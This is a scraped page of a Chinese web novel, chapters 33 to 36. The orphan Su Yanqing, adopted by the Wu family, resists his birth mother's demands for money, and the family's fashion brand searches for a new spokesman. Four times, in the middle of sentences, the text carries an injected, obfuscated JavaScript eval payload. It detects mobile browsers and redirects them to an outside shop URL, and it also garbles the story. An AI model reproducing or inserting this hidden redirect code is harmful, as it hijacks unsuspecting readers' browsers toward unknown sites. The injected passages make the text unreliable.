“你知道我为什么会住进武家老宅吗?因为我把钱给了你,饿出了重度低血糖。妈,武家没有什么富二代,爷爷这么大岁数还在柜上招待客人。姐姐每日血里火里的探案抓嫌疑人。我在武家的身份,就是个负责网络运营的员工。这些衣服和车子,也就是个员工福利。武家抚养我,我就要为武家工作。天下没有免费的午餐,就是这个道理。” “话虽如此……可是……”苏母赧颜道,“这世上,总是有些东西不用钱衡量的。比如……亲情……晏清,我是你的亲生母亲,小捷,是你的亲弟弟……” “妈,我的卡里真的没有钱。择校费,我出不起。” “妈不管你多要,就三千块钱。妈知道,你前一段时间帮人打官司,让一个十六岁的坏孩子判了无期徒刑,律师费也不只是这些……儿子,你看看,如今你一只表就两千多,一双鞋一千多……三千块钱,对你来说不算多……” “妈,我帮人打官司,只是义务的,是完成课题实践,没有钱拿的。你想要三千块钱是吗?那好,你认为我一个大二学生该怎么去挣?是再去送外卖被人用刀捅?是再去给人当模特被害?是再去冒充别人男朋友?是再去犯罪分子交易现场做白案?还是去酒吧被蟒蛇缠身?然后省下钱来给你,再把自己饿成重度低血糖进医院?”苏晏清越说越激动,“妈,如果你觉得只有我这样做,才能洗刷我身上的罪恶,那你去帮我找一个这样的工作,我会去做,我用命来补偿你的人生。” “你……你这孩子说什么呢!”苏母恼羞成怒,“妈没有别的意思,我如今遇到了难处,想着你住在武家,武家那么有钱,枭枭又疼你,好歹能帮帮妈和你弟弟……小捷是你亲弟弟,以后……还要靠你帮衬着……” “武家?武家欠我的吗?欠你的吗?小时候爸爸打你,哪次不是吴家阿婆去拦?哪次不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849739|211799||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 枭枭姐姐去把我抱走?如果不是姐姐舍命救我,我早死在地缝里了。如果不是姐姐的事迹报道出来,你能有机会得救吗?妈,做人要知道感恩,武家从来不欠我们的,是我们欠武家的。” “儿子,你就当可怜可怜妈……” “妈,我同情你,你要是真需要钱,就去帮我找个活儿干,无论多危险,哪怕要付出生命,我都会去干,我把挣的钱都交给你,好吗?” 苏母泪流满面道,“儿子,你别逼妈……” 苏晏清也落下了泪,“妈,是你逼我……” 苏母擦了擦眼泪,“好,你为难,妈不逼你。你一个孩子,是没什么钱。我去找武家。” 苏晏清急得站了起来,“不行!你不可以去武家!” “我怎么不可以去?武家不是侠义心肠吗?不是慈悲为怀吗?我倒要看看,能不能把我们孤儿寡母地赶出门去!” “武家对你,对我恩重如山,你怎么可以再去武家要钱?你……你太贪心了!” “我贪心!”苏母冷笑道,“哼!网上那些话,你以为我没看到吗?那些网友说武家好端端地收养你一个十九岁的大男孩干什么?连收养手续都办不了,还给你买那么贵的豪车手表。说他们根本就不是把你当养子,是武家给大小姐纳的童养女婿。” “你……”苏晏清气得涨红了脸,眼泪滚滚而落,他知道网上的那些评论,“武家的童养婿”、“武家的金丝雀”、“武大小姐的小男人”、“武大小姐的小奶狗”、”“给武大小姐暖被窝的人形玩偶”、“武大小姐的人形按摩器”……种种难听的便签如狗皮膏药般贴在评论区里,各种不堪入目的揣测如瘟疫般在网上流传……苏晏清一面删除评论区里的各种污言秽语,一面笑着安慰武月直,“爷爷,今天又来了好多客人,看来开账号是有用的……” “我就是烦那些人总对你问这问那,说那些话都不着四六的!” “他们就是一时新鲜,没什么的……” 其实苏晏清想的是:“如果那些人真的是因为想看看武家的童养姑爷长什么样来荣宝斋,是不是也是我对荣宝斋做的贡献?” “你……你不可以侮辱武家,我和姐姐……是清白的……” “清不清白我不管,我生的儿子,若是真的给武家当童养女婿,我这个当妈的,不能就这么黑不提白不提地算了!” “你想这么样?武家的大恩大德,我粉身碎骨都难以报答。” “我生的儿子,真要是去做童养婿,我也得要个说法!” “你要是敢去武家闹,我必报警!你忘了,我是学法律的。我有充分的证据链证明你已经构成了事实的遗弃,我没有赡养义务!” 苏母怒不可遏,“啪”地一个耳光抽在苏晏清脸上,“你学法律,就是为了对付我,对付你的亲妈!” 苏晏清擦了擦嘴角的血,强忍着眼泪道,“我在福利院整整十四年,你不闻不问。是武家每年给福利院五万块钱,抚养我长大,供我读书。我会用生命保护武家,不计一切代价。” 33. 武爷爷给苏母安排工作 苏晏清晚上失魂落魄地回到武家老宅,武厉枭连忙迎了出来,“宝宝,今天怎么这么晚?吃过饭没有?” 苏晏清这才想起刚才的东北菜自己一筷子也没动,肚子里饥肠辘辘,却一点东西也吃不下,只点点头道,“吃过了,在食堂吃的。” 武厉枭担忧地打量着苏晏清,把他拉到房间里,“宝宝你怎么了?脸色这么难看?”她用自己的额头抵着苏晏清的额头试了试温度,“不发烧?”又搓着他冰冷的手,“是不是有人欺负你了?跟姐姐说,姐姐帮你揍他!” 苏晏清却心里一阵酸楚,扑到武厉枭怀里哭了起来,“姐姐……我……我不瞒你……是我妈……她……她带着弟弟来……来学校找我……让我出弟弟的……择校费……” “宝宝乖,不哭哦……”武厉枭摸着他的头发,“你给她了吗?” .“没有……姐姐……我删除了她的……联系方式……她……她知道我的……学校……我住在武家老宅……姐姐,我怕她……影响爷爷……影响你……实在不行……我搬回学校去吧……” “不,宝宝,这里是你的家,你怎么能走呢?”武厉枭帮他擦了擦眼泪,“你放心,爷爷是大风大浪里闯过来的人,姐姐是警察,还不能处理这么一件小事吗?你现在不是一个人了,你有姐姐,有爷爷,有爸爸妈妈,你不需要再怕任何人。她如果来,爷爷自然有方法应对。” “可是,我怕她……道德绑架……她今天说……说我在武家……开那么好的车,戴那么贵的表,穿妈妈给的高定服装……就该帮帮她……” “你是我弟弟,是武家的孩子,当然该穿好的戴好的。她看不过去呀,就自己憋着!”武厉枭摸了摸苏晏清的脸,笑容如雨后清新的铃兰,“宝宝,别不开心啦,她不疼你,有姐姐疼你。” “姐姐……我……我怕她再来荣宝斋……影响不好……” “你放心,荣宝斋经营两百多年了,什么样的人都见识过,应付得了。这件事你不用管了,爷爷会处理。” 过了几天,苏母真的带着小捷来到了荣宝斋武家老店,一进门看到武月直就直奔过去鞠了一躬,“老爷子您好,给您请安了。” “你是……” “我是晏清的母亲,”又拉过小捷,“这是晏清的弟弟。来,给爷爷问好。” “爷爷好。” “好,进来说话吧。” 武月直将她二人带着客厅,吩咐工人送上果盘茶点,“粗茶一盏,不成敬意。” “老爷子,我这次带着晏清的弟弟来,没别的意思。这孩子快中考了,成绩不太好,去读山大附中的话,要择校费。我一个妇道人家,一个人养孩子,东拼西凑的,还差几千块钱。我知道,您心肠最好,武家的家风最慈悲,我就厚着脸皮,来求您了……” 武月直淡淡一笑,“你怎么断定我会帮你?” “府上收养了晏清,您最仁善。” “晏清是我家孙女从小抱大的,晏清当了十四年孤儿,是我家枭枭心里的一道伤。我们好不容易找到这孩子,自然要收养。你和你的小儿子,你我素无往来,第一次见面,就开口求助,不合适吧?” “老爷子,我……我毕竟是晏清的母亲……” “母亲?晏清在我这里做学徒的时候,得了重度低血糖。这孩子本来有山大奖励的十万块钱奖学金,给了福利院五万,剩下的五万,全被你以各种理由拿走了。你要钱的时候来找他,不要钱的时候连个面都不露,他的电话都不接。他住在孤儿院里十四年,你不闻不问,面都不露。我知道,你心里有怨。可晏清是无辜的,你不该把怨气撒在孩子身上。” “老爷子,您不知道我的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849740|211799||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 苦……”苏母哭呜起来,“我找的两个男人都不是人……我……我实在没办法了……”苏母“扑通”一声跪在地上,“老爷子,我求求您了,您心眼好……我有罪,小捷无辜……晏清怨恨我,我认了……小捷要是再没出息,我老了靠谁呀……”又拉过小捷,“快,快给爷爷跪下……” “行了,”武月直拉起小捷,望着这张跟苏晏清有八分相似的脸,“我看在晏清的份上,给你个工作的机会。荣宝斋在双河镇有个分店,你若是肯去那里做副店长,月薪八千五,交五险一金。” “双河镇……太远了……我还得给小捷做饭……” “你若是同意的话,我知会那边提前支付半个月工资给你。你若不同意就算了。” “老爷子,我……我想见见晏清……” “晏清是武家的孩子,不是你说见就见的。你别忘了,晏清是学法律的。按照律法条文,你已经构成了事实的遗弃,晏清不具备赡养义务。他还肯给你那五万块钱,已经是仁至义尽了。” “老爷子,那个工作……我……”苏母仿佛下了很大的决心一般,“我干……” “好,但是我有个条件。从今以后,你不可以再找晏清。如果你再来找他,我立刻叫双河镇那边解雇你。明白吗?” 面对着武月直双目炯炯的威压,苏母不由得打了一个寒颤,只得低头道,“是,我明白。” 苏晏清在房间里密切地关注着客厅里的一举一动,待苏母走后,他方来到爷爷面前深鞠一躬,“谢谢爷爷。” 武月直扶起他,“不谈这个,你是我孙子,是我的亲人,往后你只要心里以武家为重,以枭枭为重,爷爷就心满意足了。” “我明白,爷爷,”苏晏清的眼睛如溪水涤过一般澄明,“我是武家的人,我会好好孝敬爷爷,会好好照顾姐姐。” 34. 代言人塌房 王玉梅望着电脑上的一条条热搜头痛欲裂。当红艺人应文远被前女友爆料家暴、出轨、精神控制、欠债不还、在微信群里发布不良信息,以及大量偷税漏税……如今在娱乐圈里的风评一路跌至谷底,粉丝大量脱粉回踩,演艺工作停滞,大量代言解约……下一步,就是广电总局下□□了。 可应文远却是禾锦图腾品牌的形象代言人。他的塌房,对公司的损失是不可估量的。禾锦图腾是王玉梅的心血,一直走新中式、重工、典雅、高端、轻奢的路线,每一款设计都务求尽善尽美,体现着装者卓尔不群的品味和气质。当初选应文远做形象代言人,也是看重他古典舞专业出身,一直走国风小生的路线,又是古风原创歌曲的演唱者。粉丝说他:每一缕声音都浸润着唐诗宋韵,每一场演唱会都能给观众声色犬马的昏君体验。但没想到的就是,这样一个看起来柔软飘逸仙气满满的少年,居然背地里如此不堪,以至于连累禾锦图腾网店大量退货,实体店的营业额短短一周内下降了50%。七家分店的店长和销冠提出辞职。合作多年的几位平面模特派律师商讨解约事宜。王玉梅看着一日比一日惨淡的流水,只得强打起精神来联系公关公司消除影响,尽量多发声明,参加各种慈善活动,努力挽回形象。 市场营销部的周经理拿着数据报表来汇报工作,“王总,唯今之计,就是要尽快找到新的品牌形象代言人,打造全新的品牌文化,树立与众不同的品牌文化形象。” 王玉梅苦笑道,“这个我自然知道。只是……如今禾锦图腾人气大跌,我已经动用所有资源和人脉去联系演艺圈的明星,连刚上过综艺的三线小艺人都不愿意来。” 周经理忖度了片刻,犹犹豫豫地开口道,“王总,我有一个主意,不知当讲不当讲。” “这个时候有什么不当讲的。” “我有个人选。” 王玉梅眼前一亮,“谁?” 周经理把手机递给王玉梅,居然是荣宝斋抖音官方账号上苏晏清卖糕点的视频,他穿着苏绣双蝶兰草的亚麻盘扣上衣和亚麻冰丝宋裤,整个人也如空谷幽兰般清新雅致,见而忘俗。 “晏清?” “是,”周经理小心翼翼审度着王玉梅的脸色,“少爷形象气质出众,如今又在老店里运营官方账号,拍短视频,颇受关注,流量甚佳。而且,少爷的社会形象良好,孤儿出身,自强不息考上了山大,又是法学生。如果少爷来做形象代言人,我们正好可以力推他阳光健康的学霸人设,并上新几款适合学生党的亲民路线的国风服装,再去山大、清北等各大校园里做品牌推广。尤其是少爷又在荣宝斋里帮老先生设计制作传统糕点,更贴近他国风美少年的形象卖点……” “不行。”王玉梅摇摇头,“枭枭不会同意的,我公公也不会同意。” “大小姐?”周经理疑惑道,“大小姐向来不过问公司的事啊?” “但是枭枭特别疼爱弟弟,她不会同意晏清卷入商界纷争。” “王总,恕我直言。少爷既然是武家的养子,早晚也要接触到生意上的事。” “你不知道我家的事,”王玉梅叹气道,“晏清本是我娘家村子里的一个孩子,枭枭从小就疼他,后来因为一些变故,他沦为孤儿。这里面……与武家也有些渊源……枭枭为此难过了十几年。后来,我们再找到这个孩子,为了枭枭,即便知道晏清办不了收养手续,我和武总依旧把他收为养子,抚养他,供他读书。如果枭枭知道晏清做品牌形象代言人,她一准儿会生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849741|211799||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 气。” “我明白,大小姐是出了名的英雄侠义,善良敦厚。可是……目前……少爷是最合适的人……” “我公公也不会同意的。晏清容貌出众,在学校已经引起了一些纠纷,还是武总派出法务团帮忙解决的……如果不是晏清死活不同意,我公公还想让武总派两个助理陪他上学。再让他做形象代言人,只怕……更惹眼,麻烦会更多……” “如果晏清少爷能做形象代言人,我相信,这对他的事业也是一次质的飞跃。而且晏清少爷平时穿着禾锦图腾的衣服拍视频,也给我们公司带来了不少的客源。他已经在做形象代言人的工作了。要不,您开个董事会商量一下?” “晏清只是个孩子,不是艺人,他学的是法律,将来要做律师的。我不能因为这件事影响他以后的职业生涯。我更希望他是因法律专业受到关注,过度宣传他的外貌,会让人质疑他的专业性。” “王总,您多虑了,有您和武总的帮衬,少爷一定前程似锦。” “晏清的性子,跟枭枭一样要强。他一定是更愿意靠自己打拼出一番事业。我是他们的母亲,自然要支持他们。” 周经理点点头,“您说得是。那……我再去找找。晏清少爷的形象倒是提醒了我们,形象代言人,不一定是明星,可以是网红,素人,只要形象气质符合禾锦图腾的设计理念,相信流量不会少的。” 周经理退了出去,王玉梅望了望窗外,天色将晚,暮色将云霞染成赤橘。她打开手机里存的苏晏清的照片,望着苏晏清光彩夺人的面容,如灿灿日阳下的漫山遍野的杜鹃花海。她突然想到了一个词:明艳。对,就是明艳!她不由得暗自思忖道,“晏清……我的养子……你会同意帮我这一把吗……” 35. 武厉枭发脾气 校运动会在即,各学院都在紧锣密鼓地筹备中。辅导员找到苏晏清,“晏清,我们学院的外联部还需要一位部员,你成绩优异,做事认真,你来做如何?” 苏晏清暗暗吃惊,“老师,我……我没什么能力的……我只想读书……” “谁说你没能力,你运营的荣宝斋官方账号我也关注了,粉丝量很可观呀。” “那是荣宝斋百年老店的影响力大,产品质量好,我只是拍几张照片,介绍一下产品而已。” “但是视频下方的评论区里一大半可都是冲着你的颜值来的。” 苏晏清涨红了脸,“老师……我只是帮爷爷宣传药食同源的理念,没想过……去营销自己……您别生气……我……我不会影响学院的声誉的……” “哈哈哈……”辅导员笑着拍拍他的肩膀,“晏清啊,你这孩子就是太老实了,你又没拍什么擦边视频,连腹肌都没露,哪里会影响学院声誉呢?你宣传百年老店,这是好事啊。只是……你如今有流量了,也该帮学院一些忙。” “您如果让我宣传学院的话,我可以的。” “不是,校运动会在即,学院里打算购买一批新的表演服,献舞的时候穿。目前,文艺部想的是新中式款式的,整个法学院,你的衣着最为出挑。我知道,你这些衣服品牌是禾锦图腾。禾锦图腾的王总是你养母,你能不能跟她商量一下,问她公司能不能设计生产一批新中式校服,以最低廉的价格出售。” “生意上的事,我不懂的。这些都听我养母安排。” “晏清,你知道的,你每年都是一等奖学金,学院里上上下下都非常器重你。哪次有人骚扰你,老师我都是不遗余力地保护你的。上次私生饭骚扰你,我是顶着巨大压力跟校领导拍了桌子,让他们务必把那些人开除学籍,档案记过处分。如今学院里经费实在紧张……这样吧,二十套演出服,一套五十块钱的价格,这已经是我能申请下来的最多的经费了。办个运动会,又要排练,又要租设备,找表演音乐……咱们学院都是一群穷苦孩子,不像中文学院,连肯德基麦当劳的赞助都能拉来,所有运动员每人一只嫩牛五方和一只炸鸡腿。历史学院还拉来了汉服旅拍店的赞助,入场式全员汉服走秀。晏清,这次运动会,咱们法学院就指着这古典舞表演能挣回一点面子,你可一定要帮老师促成此事啊。” “老师……我……尽力……” 苏晏清回家后,把这件事跟武厉枭说了。他本以为武厉枭会不高兴,会怪他不懂得拒绝。没想到武厉枭却笑着摸摸他的头,“好宝宝,知道有事跟姐姐说,不自己扛着,值得奖励。” “姐姐,妈妈会不会生气呀?” “不会,走,我带你去跟妈妈说。” 武厉枭开车带着苏晏清来到禾锦图腾写字楼。这是苏晏清第一次来这里,光是a到g的七座电梯都够把人绕晕了。武厉枭来到顶层的总经理办公室,秘书一看到他们,忙起身问好,“大小姐好,少爷好。”然后用对讲机通报道,“王总,大小姐和少爷来了。” “让他们进来。” 武厉枭拉着苏晏清走进总经理办公室,王玉梅一看到他们便慈祥地笑道,“枭枭,今天怎么有空?平时叫你陪妈妈吃饭都不肯。晏清,今天学习不忙吗?”又拉过苏晏清仔细打量着,“哎呀,这孩子真是天生的衣裳架子,太适合新中式啦!这衣服真像给你量身定做的。” “妈妈,”武厉枭笑道,“你用宝宝当模特,还没给模特费呢?” “哎呀,晏清真是天选的新中式形象代言人。” 武厉枭喝了一口茶,“哎呦,禾锦图腾衣服那么贵,学生党怎么消费得起呀。不要说他们小孩子,连我们队的李大刚和魏三有出去相亲,想买一件咱们家的外套,想了想一件一千多,都没舍得。” “你这孩子,让他们找你,你带他们去打折呀。” “那是,我是他们的义母,当然不能看着爱子们打光棍,我带他们去万达分店,一件衣服一折买下来的。” 王玉梅抚额笑道,“你这丫头,就知道薅爸爸妈妈羊毛。罢了罢了,你自费上班,我和你爷爷,你爸爸贴的钱都不知道值多少外套了!我只盼着哪天你别把这份家当全捐了才好!” “不会不会,这不是有宝宝吗?妈妈,其实我觉得不要一味走高端轻奢路线,也可以适当走亲民路线。” “你一个当警察的哪懂经商之道啊。禾锦图腾本来就是针对月薪过万的中高收入人群的。品牌创立多年,一旦做那些廉价衣服,会降低服装档次的,影响高端客户对品牌的信任度。” “连外莲绅那样的百年老字号都卖两百块钱一双的护士鞋,在消费下行的年代,一味的阳春白雪影响利润啊。” 王玉梅看向苏晏清,“晏清,你听说了外莲绅的案子没有?” 苏晏清道,“最近我在课堂上学到了这个案子,外莲绅是清朝时的皇家鞋履的供奉,专门做私人订制的高端皮鞋和千层底布鞋。前一段时间,外莲绅的代工制作了一披廉价的护士鞋和布鞋投放市场,销量还不错。可是没过几天,就有顾客反应护士鞋挤脚,布鞋遇水掉色,纷纷在网上质疑百年老店自砸招牌。外莲绅派人去调查,发现产品之所以廉价,因为做工和用料不够精细。外莲绅忙召回这批次品,把代工厂告上法庭。代工厂拿出合同,说当时总部同意生产廉价皮鞋的……” 王玉梅又问:“晏清,你怎么看这个案子的?” “百年老店在授权代工厂生产廉价皮鞋时,只看到了廉价带来的销路,没有派出技术人员监督皮鞋的做工和质量,也存在失职行为。如果光靠掉色,挤脚等技术问题,很难判定代工厂欺诈。故而这个案子,外莲绅很难胜诉。” “对的,所以我很怕品牌向下兼容。”王玉梅笑了笑,“难得今天你们两个一起来看我,走,妈妈带你们吃饭去。” 白鹭酒家是一百年前法租界里最为奢华的西餐厅。那里的枫糖炸猪排、薄荷掼奶油、凤梨酸辣虾仁、紫苏牛肉丝都是风靡了上百年的招牌菜。王玉梅听到武厉枭说法学院辅导员让苏晏清帮忙弄二十套表演服,不由得皱眉道,“也不是什么难事,我让生产部那边打个电话就可以。只是这个价位……便宜没好货,若是冠以禾锦图腾品牌,穿出去更是砸招牌。如今的利润一天不如一天,唉……” 苏晏清笑道,“谢谢妈妈,其实,我有个主意……只是,不大成熟……” “什么主意?” “如果在禾锦图腾品牌的基础上创一个副品牌,名字跟禾锦图腾相似,但做工和设计没有那么繁丽复杂,用料更注重物美价廉,价位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849742|211799||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 也相对来说更低,更适合学生党和工薪阶层。” “开创副品牌?”王玉梅苦笑道,“哪有那么容易!如今禾锦图腾和应文远解约了,公关危机都没过,现在就开创副品牌,那禾锦图腾呢?公司现在还在尽力补救,做广告,做宣传,搞慈善,发声明,挽回形象,没有精力经营副品牌。” “我……”苏晏清垂下头道,“我只是觉得,这次运动会,说不定是个契机。” “傻孩子,”王玉梅摸摸他的头,“我知道,你想帮我的忙。只是,现在最重要的是找到一个阳光健康的新形象代言人。”王玉梅拿出手机,给助手打了个电话,“小吴,你去通知设计部和生产部,做二十套新中式校服给少爷,费用从我私人账上划拨。” 苏晏清忙道,“妈妈,太麻烦您了……” “乖,你是我儿子,我的事就是我的事。”王玉梅宽慰地拍拍苏晏清的手,“这些事都是大人们的事,你们小孩子只要安心读书就可以了。” “您想找的是什么样的形象代言人?” “嗯……男孩子,要长得清瘦一些,有古典美感,穿上那些衣服,有飘逸的美感。本来啊,找这样的明星也不难,但现在禾锦图腾形象受损,连十八线的艺人都不肯代言。公司正在找形象合适的素人,可是……不知根知底的人,万一再遇到一个品行不端的……” 苏晏清抿了抿嘴唇,拉了拉武厉枭,“姐姐,你看我……怎么样……” “什么怎么样?” “我帮妈妈……试试……拍几张照片……” “不行!”武厉枭断然拒绝,“你忘了那些私生饭怎么骚扰你的?你看那些评论区里的人怎么说你的?你再去拍那些照片,流传开来,他们又该说你……” “姐姐,我想帮妈妈……店里的那些客人又很多都来问我的衣服是什么牌子的,他们都觉得我穿得好看……” “好了,不要再说了!”武厉枭莫名地发起脾气来,大声吼道,“荣宝斋不需要那个倒霉的官方账号也不会倒闭,禾锦图腾不差你一个形象代言人,影视学院里长得好看没戏拍的男孩子大有人在。他们愿意吸引眼球被说长道短地娱乐大众是他们的事,你不应该被消费!” 苏晏清被吼得有些懵,愣愣地看着武厉枭,“姐姐……你……你怎么生气了……” 武厉枭却眼圈一红,哭着抱住苏晏清,“宝宝……姐姐把你接回家来……是希望你养好身体,安心读书……可是……你经营那个抖音号,被那些网友说难听的话……我……我好心疼……荣宝斋要经营下去,靠的是两百年的信誉,不靠拿你的长相做吸引客流的工具……别说你一个……就是十个,武家也养得起,供得起……现在可好,你白天读书,放学后拍视频,熬夜剪视频……身子都熬坏了……你不该这么辛苦……你该是被保护,被疼爱的孩子,你不需要为了回报爷爷,回报爸爸妈妈和姐姐,受这么大委屈,做这么大的牺牲……你是未来的律师,不是网红和艺人……” 苏晏清的眼泪也落了下来,紧紧抱住武厉枭,拍着她的后背道,“姐姐……别哭了,没事的……那些网友……夸荣宝斋的居多……能吸引眼球也是好事,罗翔老师也出来做账号的……我答应你,以后把账号交给店里的郑师傅运营,我安心读书,别的事都不去过问了……” 36. 迷人的宇心哥哥 苏晏清在宿舍卫生间洗完澡后,穿着星耀蓝天丝人棉苏绣双龙出海浴袍走了出来,李光明瞬间眼睛都直了,“我靠清哥,你是洗澡去了还是登基去了?洗完澡穿个龙袍就出来了?” 刘国君笑道,“光明我儿啊,为父平时就说让你多看看书,别那么没见识!不用说,晏清少爷这衣服,又是他那个神通广大的姐姐给买的?” “不对不对,应该是禾锦图腾那边给他送来的。”李光明摇头道,“对了清哥,咱妈还缺儿子吗?我别的不行,给你擦皮鞋总可以吧?” 苏晏清笑道,“你不是刚才还说肚子饿吗?我那柜子里还有坚果蛋黄酥,你拿去吃吧。” “好嘞!”李光明从苏晏清的柜子里翻出了三块蛋黄酥,分别丢给刘国君和苏晏清,“咱爷爷做的点心,不怎么甜,但吃一块想吃下一块,怎么吃都吃不够。” 刘国君苦笑道,“明儿啊,为父瞅你都脑袋疼。你说你就不能控制控制,你都胖成啥样了?都快200斤了,还吃糕点!” “吃糕点怎么了?我胖又不是吃糕点吃的!清哥也吃啊,怎么不见他长胖呀!” “你能跟你清哥比吗?他天生丽质玉树临风的!对了晏清,最近我看到你们家公司要选国风美少年做形象代言人。依我说,还用费那个事啊,你不就是现成你衣裳架子吗?这新中式你一穿,比多少模特都带派呀!” 苏晏清笑笑,“我不行的,我太瘦了,不上相,五官没有立体感,而且我不会摆pose,没有镜头感。” 李光明突然笑道,“清哥,你看我怎么样?我有没有那国风的范儿?要不你跟咱干妈商量商量呗?你在武家那么有面子,你一句话,都能给院里弄来那么多演出服……” 苏晏清摇头道,“公司的事,别说我了,我姐都不参与的。我姐说,让我专心学习就可以了。” “当代言人不影响学习啊!你成绩那么好!” 刘国君无语道,“光明啊,你好好看看人家的参选要求,要气质出众高贵优雅的国风美少年,不要肠肥脑满一顿吃八个馒头的人形饭桶。” “靠!你才人形饭桶呢!”李光明刚想反唇相讥,没想到一条新闻引起了他的注意——禾锦图腾公司已经选出了新的形象代言人——二十四岁的省舞蹈团台柱子楼宇心。 “清哥,这……这长得……不如你帅呀!”李光明疑惑道,“这个子也不如你高,整个一个小鸡身材!” 刘国君也感叹道,“就是呗,就是檀健次那种的,瘦得娘里娘气的。” 苏晏清笑道,“你们别这样说,他外形优越,镜头感好。” 李光明撇撇嘴,“这脸也太小了吧,感觉跟脖子一般粗。” 苏晏清很专业地点评道,“这种瓜子脸形在镜头前是很标致的。他个子不算太高,但头和身材的比例绝佳。禾锦图腾能选他,肯定是有原因的。他是跳古典舞的,自带一种古韵,倒是与禾锦图腾的新中式风格相符。跳古典舞的人,瘦一些更能体现飘逸美。” 苏晏清对楼宇心并不陌生,武厉枭就是他的粉丝。每当省歌舞团有楼宇心的演出时,武厉枭只要有时间,必拉着苏晏清去看。别看武厉枭是警察,但她也非常爱看舞剧,尤其是古典舞。她总说,一出舞剧就是一首诗,灯光、舞美、道具、服装、配乐、演员每一个肢体动作都是诗歌的元素。她还说,如果她也有文采,一定要每看完一台舞剧,就写一首诗。 苏晏清陪着武厉枭看过楼宇心主演的《西施》、《倩女幽魂》、《白蛇传》、《我的大观园》……他看到了舞台上那个身高175公分左右,体型恍若赵飞燕般的男子彩袖轻盈,若飞若扬,好似能乘气御云,飞上云端。每次谢幕后,武厉枭都一脸兴奋地拉着他,“宝宝,走,我们去大厅找宇心哥哥签名去。”然后排着长队跟楼宇心签名合影后,又脸蛋红喷喷的,走路恨不得飞起来,“宝宝,我今晚要睡不着觉了!宇心哥哥好帅好温柔呀!下周还有宇心哥哥的《九尾狐》,我们再来看,好不好?” 苏晏清一脸为难道,“姐姐,要不,下周来看舞剧……我坐在后面吧,前排……票太贵了……” “嗯……九百多一张,还好啦!坐在后面的体验感不好。” 其实,苏晏清想说的是坐在第一排,舞台上的灰会落下来,演员脸上的妆糊掉了,都看得清清楚楚的。上次看《傩舞》的时候,楼宇心带着硕大的鬼脸面具跳下舞台对着他手舞足蹈,把他吓得魂都快掉了。 但武厉枭还是坚持己见,“你不知道,宇心哥哥的粉丝们都说,看哥哥的表演,享受帝王般的体验。近距离不光是欣赏哥哥的舞蹈,更能欣赏美好的□□……你记不记得哥哥上次跳《春雨渡》的时候,穿着白纱袍站到我面前跳舞,还坐到了我坐位的扶手上,给我献了一朵玫瑰花。啊啊啊啊……后来我发了朋友圈,好多哥哥的粉丝都说,这是配享太庙的待遇……” 苏晏清无奈地暗叹,他知道,跟楼宇心那些在网上叫嚣“馋哥哥身子”的疯狂粉丝比起来,武厉枭已经是很正常的了。只是他做梦也没想到,这位舞剧爱豆居然能成为禾锦图腾的新形象代言人。王玉梅还打来电话,叫武厉枭和苏晏清一起和楼宇心吃饭,设宴的地点就在禾锦图腾公司楼下的“天仙湖国风餐厅”。 苏晏清推开那间雕花梨木对开门,只见窗棂上映着疏影横斜的竹纹,天花板上铜环轻响,余韵清越。室内以浅木色为底,四壁素白,仅挂一幅水墨竹石立轴,笔意简淡,不染尘嚣。而王玉梅身边那个身穿禾锦图腾横纹肌理祥云苏绣开衫的男子,浑身充满东方水墨写意般的复合型美感,骨相藏锋、五官清润,兼具少年澄澈灵气与古典雅致风骨,刚柔并济、古韵十足。他站起来对着武厉枭和苏晏清作揖施礼,“在下楼宇心,有礼了。” 武厉枭和苏晏清忙学着他的样子双双作揖,“楼兄有礼了。” 武厉枭笑道,“其实,我是楼老师的粉丝,看过您的很多场舞剧,我最喜欢您的那部《白鹭》,果然就像片尾字幕里写的那样:白鹭是一首诗,一首韵在骨子里的散文诗。” 楼宇心笑道,“厉枭姐姐,您不记得我了?”他打来手机递给武厉枭,“您看看这张照片。” 